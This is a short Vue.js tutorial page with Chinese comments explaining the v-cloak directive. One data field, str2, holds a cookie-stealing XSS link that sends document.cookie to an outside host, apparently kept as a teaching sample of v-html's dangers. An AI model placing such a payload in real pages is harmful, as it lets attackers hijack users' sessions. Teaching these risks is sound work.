<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <title>v-html</title>
        <!-- 引入Vue -->
        <!-- <script type="text/javascript" src="../js/vue.js"></script> -->
        <style>
            [v-cloak]{
                display: none;
            }
        </style>
    </head>
    <body>
        <!-- 
            v-cloak指令(没有值):
                1. 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性.
                2. 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题.
         -->
        <div id="root">
            <div v-cloak>你好, {{name}}</div>
        </div>
        <script type="text/javascript" src="../js/vue.js"></script>
    </body>
    <script type="text/javascript">
        Vue.config.productionTip = false    // 阻止Vue在启动时生成生产提示

        // 创建Vue实例，开端
        new Vue({
            el: '#root', // el用于指定当前Vue实例为哪个容器服务，值通常为css选择器字符串。
            data: {     // data中用于存储数据，数据供el指定的容器去使用
                name: "Vue",
                str: "<h3>jjjjj</h3>",
                str2: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点击</a>'
            }
        })
    </script>
</html>
